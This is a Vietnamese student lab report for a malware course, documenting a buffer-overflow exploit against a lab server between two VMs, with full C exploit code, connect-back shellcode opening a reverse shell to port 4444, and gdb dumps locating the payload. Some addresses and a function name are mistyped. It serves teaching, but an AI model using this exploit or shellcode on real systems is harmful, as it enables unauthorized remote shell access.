

BÁO CÁO BÀI TẬP

Môn học: Cơ chế hoạt động của mã độc

Kỳ báo cáo: Buổi 02 (Session 02)

Tên chủ đề: Simple worm

GV: Nghi Hoàng Khoa

Ngày báo cáo: 27/03/2023

Nhóm:

1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: NT230.N21.ANTN

STT	Họ và tên	MSSV	Email
1	Võ Anh Kiệt	20520605	20520605@gm.uit.edu.vn
2			@gm.uit.edu.vn

2. NỘI DUNG THỰC HIỆN:¹

STT	Công việc	Kết quả tự đánh giá	Người đóng góp
1	Kịch bản C2	100%	

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

¹ Ghi nội dung công việc, các kịch bản trong bài Thực hành

BÁO CÁO CHI TIẾT

1. Kịch bản C2

Đầu tiên ta sẽ thực hiện telnet tới để kiểm tra các cài đặt

```
ubuntu@s6a180f6-vm1:~$ telnet 10.81.0.7 5000
Trying 10.81.0.7...
Connected to 10.81.0.7.
Escape character is '^]'.
My name is: kiet
Hello :kiet, welcome to our siteConnection closed by foreign host.
ubuntu@s6a180f6-vm1:~$
```

Tiếp theo ta sẽ thực hiện kiểm tra bên máy 2

```
ubuntu@s6a180f6-vm2:~$ ./vul_server 5000
client from 10.81.0.6address 0xbffff284
```

Ta có được return address là 0xbfff284

Nhưng do là chương trình ta khi thực hiện ta sẽ thực hiện cộng thêm 7 do là trong hàm sprintf ta thấy được là "Hello :" có 7 ký tự nên ta sẽ cộng thêm 7 thành 0xbfff28B

```
printf(buffer, "Hello :%s, welcome to our site", name);
```

Tiếp theo ta sẽ thực hiện thay đổi code trong phần payload, dưới đây là đoạn code thực hiện truyền ip và port nhưng chúng ta cần phải thay đổi để chạy được

```
68 41 42 43 44          push    0x44434241
66 68 b0 ef            pushw   0xefb0
```

Tiếp theo ta sẽ thực hiện chèn ip và port nhưng ip là 10.81.0.6 có biến 0 nên ta không thể truyền trực tiếp mà ta cần phải thực hiện xor để lấy kết quả và truyền, cuối cùng clear thanh nhớ bằng xor chính thanh ghi. Và truyền port 4444 thì chỉ cần pushw

```
b9 11 11 11 11          mov     ecx, 0x11111111
81 f1 1b 40 11 17       xor     ecx, 0x1711401b
51                      push    ecx
31 c9                   xor     ecx, ecx
66 68 11 5c             pushw   0x5c11
```

Cuối cùng ta có code như sau

```
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUF_SIZE 1064

char shellcode[] =
    "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
    "\x06\x51\xb1\x01\x51\xb1\x02\x51"
    "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
    "\x89\xc2\x31\xc0\x31\xc9\x51\x51"
    "\xB9\x11\x11\x11\x11\x81\xF1\x1B\x40\x11\x17\x51\x31\xC9\x66\x68\x11\x5c"
    "\xb1\x02\x66\x51\x89\xe7\xb3"
    "\x10\x53\x57\x52\x89\xe1\xb3\x03"
    "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
    "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
    "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
    "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
    "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
    "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
    "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
    "\x2f\x62\x69\x89\xe3\x50\x53\x89"
    "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
    "\x01\xcd\x80";

// standard offset (probably must be modified)
#define RET 0xbffff28b

int main(int argc, char *argv[])
{
    char buffer[BUF_SIZE];
    int s, i, size;
    struct sockaddr_in remote;
    struct hostent *host;

    if (argc != 3)
    {
        printf("Usage: %s target-ip port \n", argv[0]);
        return -1;
    }
    // filling buffer with NOPs
    memset(buffer, 0x90, BUF_SIZE);

    // Modify the connectback ip address and port. In this case, the shellcode
    connects to 192.168.2.101 on port 17*256+92=4444
    // shellcode[33] = 192;
```

```
// shellcode[34] = 168;
// shellcode[35] = 207;
// shellcode[36] = 144;

// shellcode[39] = 17;
// shellcode[40] = 92;
// copying shellcode into buffer
memcpy(buffer + 900 - sizeof(shellcode), shellcode, sizeof(shellcode) - 1);

// Copying the return address multiple times at the end of the buffer...
for (i = 901; i < BUF_SIZE - 4; i += 4)
{
    *((int *)&buffer[i]) = RET;
}
buffer[BUF_SIZE - 1] = 0x0;
// getting hostname
host = gethostname(argv[1]);
if (host == NULL)
{
    fprintf(stderr, "Unknown Host %s\n", argv[1]);
    return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
    fprintf(stderr, "Error: Socket\n");
    return -1;
}
// state Protocolfamily , then converting the hostname or IP address, and
getting port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)&host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote)) == -1)
{
    close(s);
    fprintf(stderr, "Error: connect\n");
    return -1;
}
// sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size == -1)
{
    close(s);
    fprintf(stderr, "sending data failed\n");
    return -1;
}
```

```

}
// closing socket
close(s);
}

```

Ta sẽ thực hiện tấn công:

Tại vm1

```

ubuntu@s6a180f6-vm1:~$ ./exploit 10.81.0.7 5000
ubuntu@s6a180f6-vm1:~$ █

```

Tại vm2

```

ubuntu@s6a180f6-vm2:~$ ./vul_server 5000
client from 10.81.0.6 address 0xbffff284
█

```

Thực hiện kiểm tra

```

ubuntu@s6a180f6-vm1:~$ nc -l 4444
ls -la
total 64
drwxr-xr-x 4 ubuntu ubuntu 4096 Mar 27 16:19 .
drwxr-xr-x 3 root root 4096 Mar 27 08:42 ..
-rw-r--r-- 1 ubuntu ubuntu 1686 Mar 27 16:23 .bash_history
-rw-r--r-- 1 ubuntu ubuntu 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3637 Apr 9 2014 .bashrc
drwx----- 2 ubuntu ubuntu 4096 Mar 27 13:05 .cache
-rw-r--r-- 1 ubuntu ubuntu 675 Apr 9 2014 .profile
drwx----- 2 ubuntu ubuntu 4096 Mar 27 08:42 .ssh
-rwxrwxr-x 1 ubuntu ubuntu 7975 Mar 27 13:34 exploit
-rwxrwxr-x 1 ubuntu ubuntu 7975 Mar 27 13:15 remoteexploit
-rw-r--r-- 1 ubuntu ubuntu 2998 Mar 27 16:26 remoteexploit.c
-rwxrwxr-x 1 ubuntu ubuntu 7893 Mar 27 16:19 vul_server
-rw-r--r-- 1 ubuntu ubuntu 1683 Mar 27 16:19 vul_server.c
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc pfifo_fast state UP group default qlen 1000
    link/ether fa:16:3e:19:8c:fb brd ff:ff:ff:ff:ff:ff
    inet 10.81.0.7/24 brd 10.81.0.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::f816:3eff:fe19:8cfb/64 scope link
        valid_lft forever preferred_lft forever

```

Tiếp theo ta sẽ xem xem là payload sẽ được truyền vào đâu trong chương trình, đầu tiên ta sẽ thực hiện debug chương trình và chạy disassemble handling

```
(gdb) disassemble handling
Dump of assembler code for function handling:
0x080486dd <+0>:    push    %ebp
0x080486de <+1>:    mov     %esp,%ebp
0x080486e0 <+3>:    sub     $0xc14,%esp
0x080486e6 <+9>:    lea     -0x404(%ebp),%eax
0x080486ec <+15>:   mov     %eax,0x4(%esp)
0x080486f0 <+19>:   movl    $0x8048a30, (%esp)
0x080486f7 <+26>:   call    0x80484d0 <printf@plt>
0x080486fc <+31>:   lea     -0x404(%ebp),%eax
0x08048702 <+37>:   movl    $0x6e20794d, (%eax)
0x08048708 <+43>:   movl    $0x20656d61, 0x4(%eax)
0x0804870f <+50>:   movl    $0x203a7369, 0x8(%eax)
0x08048716 <+57>:   movb    $0x0, 0xc(%eax)
0x0804871a <+61>:   lea     -0x404(%ebp),%eax
0x08048720 <+67>:   mov     %eax, (%esp)
0x08048723 <+70>:   call    0x8048530 <strlen@plt>
0x08048728 <+75>:   movl    $0x0, 0xc(%esp)
0x08048730 <+83>:   mov     %eax, 0x8(%esp)
0x08048734 <+87>:   lea     -0x404(%ebp),%eax
0x0804873a <+93>:   mov     %eax, 0x4(%esp)
0x0804873e <+97>:   mov     0x8(%ebp), %eax
0x08048741 <+100>:  mov     %eax, (%esp)
0x08048744 <+103>:  call    0x80485d0 <send@plt>
0x08048749 <+108>:  mov     %eax, -0x4(%ebp)
0x0804874c <+111>:  cmpl    $0xffffffff, -0x4(%ebp)
0x08048750 <+115>:  jne     0x804875c <handling+127>
0x08048752 <+117>:  mov     $0xffffffff,%eax
0x08048757 <+122>:  jmp     0x8048803 <handling+294>
0x0804875c <+127>:  movl    $0x0, 0xc(%esp)
0x08048764 <+135>:  movl    $0x800, 0x8(%esp)
0x0804876c <+143>:  lea     -0xc04(%ebp),%eax
0x08048772 <+149>:  mov     %eax, 0x4(%esp)
0x08048776 <+153>:  mov     0x8(%ebp), %eax
0x08048779 <+156>:  mov     %eax, (%esp)
0x0804877c <+159>:  call    0x80485b0 <recv@plt>
0x08048781 <+164>:  mov     %eax, -0x4(%ebp)
0x08048784 <+167>:  cmpl    $0xffffffff, -0x4(%ebp)
```

Tiếp theo hàm ta cần chú ý đến là hàm sprintf ở breakpoint +221 do trong code lỗi hổng đây là nơi tạo ra sự kiện address+7 làm thay đổi địa chỉ trả về nên ta cần phải chú ý thực hiện.

Sau đó ta đặt breakpoint tại handling+221 và chạy port 5000

```

0x080487ba <+221>:  call    0x8048590 <sprintf@plt>
0x080487bf <+226>:  lea     -0x404(%ebp),%eax
0x080487c5 <+232>:  mov     %eax, (%esp)
0x080487c8 <+235>:  call    0x8048530 <strlen@plt>
0x080487cd <+240>:  movl    $0x0, 0xc(%esp)
0x080487d5 <+248>:  mov     %eax, 0x8(%esp)
0x080487d9 <+252>:  lea     -0x404(%ebp),%eax
0x080487df <+258>:  mov     %eax, 0x4(%esp)
0x080487e3 <+262>:  mov     0x8(%ebp), %eax
0x080487e6 <+265>:  mov     %eax, (%esp)
0x080487e9 <+268>:  call    0x80485d0 <send@plt>
0x080487ee <+273>:  mov     %eax, -0x4(%ebp)
0x080487f1 <+276>:  cmpl    $0xffffffff, -0x4(%ebp)
0x080487f5 <+280>:  jne     0x80487fe <handling+289>
0x080487f7 <+282>:  mov     $0xffffffff, %eax
0x080487fc <+287>:  jmp     0x8048803 <handling+294>
0x080487fe <+289>:  mov     $0x0, %eax
0x08048803 <+294>:  leave
0x08048804 <+295>:  ret
End of assembler dump.
(gdb) b * handling+221
Breakpoint 1 at 0x80487ba
(gdb) run 5000
Starting program: /home/ubuntu/vul_server 5000
client from 10.81.0.6address 0xbffff244

Breakpoint 1, 0x80487ba in handling ()

```

Sau khi đã chạy máy 2 xong ta sẽ thực thi code exploit tại máy 1

```

ubuntu@s6a180f6-vm1:~$ ./exploit 10.81.0.7 5000
ubuntu@s6a180f6-vm1:~$ █

```

Cách 1: ta sẽ kiểm tra từng thanh ghi

Thực hiện kiểm tra trên các thanh ghi thì ta thấy có đoạn payload giống với chương trình của ta ở thanh ghi ecx

```
(gdb) info register
eax          0xbffff244      -1073745340
ecx          0xbfffea34      -1073747404
edx          0xb7fd2000      -1208147968
ebx          0xb7fd2000      -1208147968
esp          0xbfffea34      0xbfffea34
ebp          0xbffff648      0xbffff648
esi          0x0             0
edi          0x0             0
eip          0x80487ba        0x80487ba <handling+221>
eflags      0x202          [ IF ]
cs          0x73            115
ss          0x7b            123
ds          0x7b            123
es          0x7b            123
fs          0x0             0
gs          0x33            51
```

Thực hiện kiểm tra thì ta thấy được rất nhiều giá trị \x90 tương ứng với những giá trị ảo mà ta đã tạo ra trong code exploit:

```
memset(buffer, 0x90, BUF_SIZE);
```



```
(gdb) x/2048wx 0xbfffea34
0xbfffea34: 0xbffff244 0x08048a3c 0xbfffea44 0x00000000
0xbfffea44: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea54: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea64: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea74: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea84: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea94: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeaa4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeab4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeac4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffead4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeae4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeaf4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb04: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb14: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb24: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb34: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb44: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb54: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb64: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb74: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb84: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb94: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeba4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffebb4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffebc4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffebd4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffebe4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffebfc4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffec04: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffec14: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffec24: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffec34: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffec44: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffec54: 0x90909090 0x90909090 0x90909090 0x90909090
```

Kéo xuống kiểm tra thì ta thấy được đoạn shell code của ta ở phần được tô xanh ở ngay cạnh bên dưới

```
0xbfffed34: 0x90909090 0x31909090 0x31db31c0 0x06b151c9
0xbfffed44: 0x5101b151 0x805102b1 0xb001b3e1 0x8980cd66
0xbfffed54: 0x31c031c2 0xb05151c9 0x11111111 0x40bf181
0xbfffed64: 0x31511711 0x116866c9 0x6602b15c 0xb3e78951
0xbfffed74: 0x52575310 0x03b3e189 0x80cd66b0 0xc139c931
0xbfffed84: 0xc0310674 0x80cd01b0 0x3fb0c031 0x80cdd389
```

Cách 2: Thực hiện tính toán để kiểm tra chính xác thanh ghi

Ở đây ta thấy được rằng là tại máy vm2

```
ubuntu@s6a180f6-vm2:~$ ./vul_server 5000  
client from 10.81.0.6 address 0xbffff284
```

Địa chỉ đang được thông báo là 0xbffff284, và ta thực thi truyền lệnh này

```
memset(buffer, 0x90, BUF_SIZE);
```

thì cộng thêm 760 byte của giá trị `\x90`, chuyển 760 sang hex sẽ là 2f8

ngoài ra ta cần cộng thêm 7 vì ở cụm "Hello :" là 7 ký tự

Như vậy giá trị thanh ghi ta cần tìm là $0xbffff284 + 2f8 + 7 = 0xbfff583$, nhưng khi thực hiện debug ta thấy được là địa chỉ của ta đã nhảy về 0xbffff244 nên ta sẽ thực hiện lại phép tính là $0xbffff244 + 2f8 + 7 = 0xbfff543$

Đầu tiên ta thực hiện debug lại chương trình

```
(gdb) disassemble handling
Dump of assembler code for function handling:
0x080486dd <+0>:      push    %ebp
0x080486de <+1>:      mov     %esp,%ebp
0x080486e0 <+3>:      sub     $0xc14,%esp
0x080486e6 <+9>:      lea     -0x404(%ebp),%eax
0x080486ec <+15>:     mov     %eax,0x4(%esp)
0x080486f0 <+19>:     movl    $0x8048a30, (%esp)
0x080486f7 <+26>:     call   0x80484d0 <printf@plt>
0x080486fc <+31>:     lea     -0x404(%ebp),%eax
0x08048702 <+37>:     movl    $0x6e20794d, (%eax)
0x08048708 <+43>:     movl    $0x20656d61, 0x4(%eax)
0x0804870f <+50>:     movl    $0x203a7369, 0x8(%eax)
0x08048716 <+57>:     movb    $0x0, 0xc(%eax)
0x0804871a <+61>:     lea     -0x404(%ebp),%eax
0x08048720 <+67>:     mov     %eax, (%esp)
0x08048723 <+70>:     call   0x8048530 <strlen@plt>
0x08048728 <+75>:     movl    $0x0, 0xc(%esp)
0x08048730 <+83>:     mov     %eax, 0x8(%esp)
0x08048734 <+87>:     lea     -0x404(%ebp),%eax
0x0804873a <+93>:     mov     %eax, 0x4(%esp)
0x0804873e <+97>:     mov     0x8(%ebp), %eax
0x08048741 <+100>:    mov     %eax, (%esp)
0x08048744 <+103>:    call   0x80485d0 <send@plt>
0x08048749 <+108>:    mov     %eax, -0x4(%ebp)
0x0804874c <+111>:    cmpl    $0xffffffff, -0x4(%ebp)
0x08048750 <+115>:    jne     0x804875c <handling+127>
0x08048752 <+117>:    mov     $0xffffffff,%eax
0x08048757 <+122>:    jmp     0x8048803 <handling+294>
0x0804875c <+127>:    movl    $0x0, 0xc(%esp)
0x08048764 <+135>:    movl    $0x800, 0x8(%esp)
0x0804876c <+143>:    lea     -0xc04(%ebp),%eax
0x08048772 <+149>:    mov     %eax, 0x4(%esp)
0x08048776 <+153>:    mov     0x8(%ebp), %eax
0x08048779 <+156>:    mov     %eax, (%esp)
0x0804877c <+159>:    call   0x80485b0 <recv@plt>
0x08048781 <+164>:    mov     %eax, -0x4(%ebp)
0x08048784 <+167>:    cmpl    $0xffffffff, -0x4(%ebp)
```

Tiếp theo ta thực đặt breakpoint ở handling+226 và thực hiện (Minh chứng đối địa chỉ khi thực hiện debug)

```
End of assembler dump.
(gdb) b * handling+226
Breakpoint 1 at 0x80487bf
(gdb) run 5000
Starting program: /home/ubuntu/vul_server 5000
client from 10.81.0.6address 0xbffff244
```

Tiếp theo ta sẽ kiểm tra thành ghi

```

Breakpoint 1, 0x080487bf in handling ()
(gdb) info register
eax                0x442      1090
ecx                0x0        0
edx                0xbffff686   -1073744250
ebx                0xb7fd2000   -1208147968
esp                0xbffffea34   0xbffffea34
ebp                0xbffff648   0xbffff648
esi                0x0        0
edi                0x0        0
eip                0x80487bf     0x80487bf <handling+226>
eflags             0x296      [ PF AF SF IF ]
cs                 0x73       115
ss                 0x7b       123
ds                 0x7b       123
es                 0x7b       123
fs                 0x0        0
gs                 0x33       51

```

Cuối cùng ta thực hiện kiểm tra tại thanh ghi 0xbfff543

```

(gdb) x/40wx 0xbfff543
0xbfff543: 0x31db31c0 0x06b151c9 0x5101b151 0x895102b1
0xbfff553: 0xb001b3e1 0x8980cd66 0x31c031c2 0xb95151c9
0xbfff563: 0x11111111 0x401bf181 0x31511711 0x116866c9
0xbfff573: 0x6602b15c 0xb3e78951 0x52575310 0x03b3e189
0xbfff583: 0x80cd66b0 0xc139c931 0xc0310674 0x80cd01b0
0xbfff593: 0x3fb0c031 0x80cdd389 0x3fb0c031 0x01b1d389
0xbfff5a3: 0xc03180cd 0xd3893fb0 0x80cd02b1 0xd231c031
0xbfff5b3: 0x2f6e6850 0x2f6e6873 0x8969622f 0x895350e3
0xbfff5c3: 0xcd0bb0e1 0xb0c03180 0x9080cd01 0xfff28b90
0xbfff5d3: 0xfff28bbf 0xfff28bbf 0xfff28bbf 0xfff28bbf
(gdb)

```

Sinh viên đọc kỹ yêu cầu trình bày bên dưới trang này

YÊU CẦU CHUNG

- Sinh viên tìm hiểu và thực hành theo hướng dẫn.
- Nộp báo cáo kết quả chi tiết những việc (**Report**) bạn đã thực hiện, quan sát thấy và kèm ảnh chụp màn hình kết quả (nếu có); giải thích cho quan sát (nếu có).
- Sinh viên báo cáo kết quả thực hiện và nộp bài.

Báo cáo:

- File **.PDF**. Tập trung vào nội dung, không mô tả lý thuyết.
- Nội dung trình bày bằng **Font chữ Times New Romans/ hoặc font chữ của mẫu báo cáo này (UTM Neo Sans Intel/UTM Viet Sach)– cỡ chữ 13. Canh đều (Justify) cho văn bản. Canh giữa (Center) cho ảnh chụp.**
- Đặt tên theo định dạng: [Mã lớp]-SessionX_GroupY. (trong đó X là Thứ tự buổi Thực hành, Y là số thứ tự Nhóm Thực hành/Tên Cá nhân đã đăng ký với GV).
Ví dụ: [NT101.K11.ANTT]-Session1_Group3.
- Nếu báo cáo có nhiều file, nén tất cả file vào file .ZIP với cùng tên file báo cáo.
- **Không đặt tên đúng định dạng – yêu cầu, sẽ KHÔNG chấm điểm.**
- Nộp file báo cáo trên theo thời gian đã thống nhất tại courses.uit.edu.vn.

Đánh giá: Sinh viên hiểu và tự thực hiện. Khuyến khích:

- Chuẩn bị tốt.
- Có nội dung mở rộng, ứng dụng trong kịch bản/câu hỏi phức tạp hơn, có đóng góp xây dựng.

Bài sao chép, trễ, ... sẽ được xử lý tùy mức độ vi phạm.

HẾT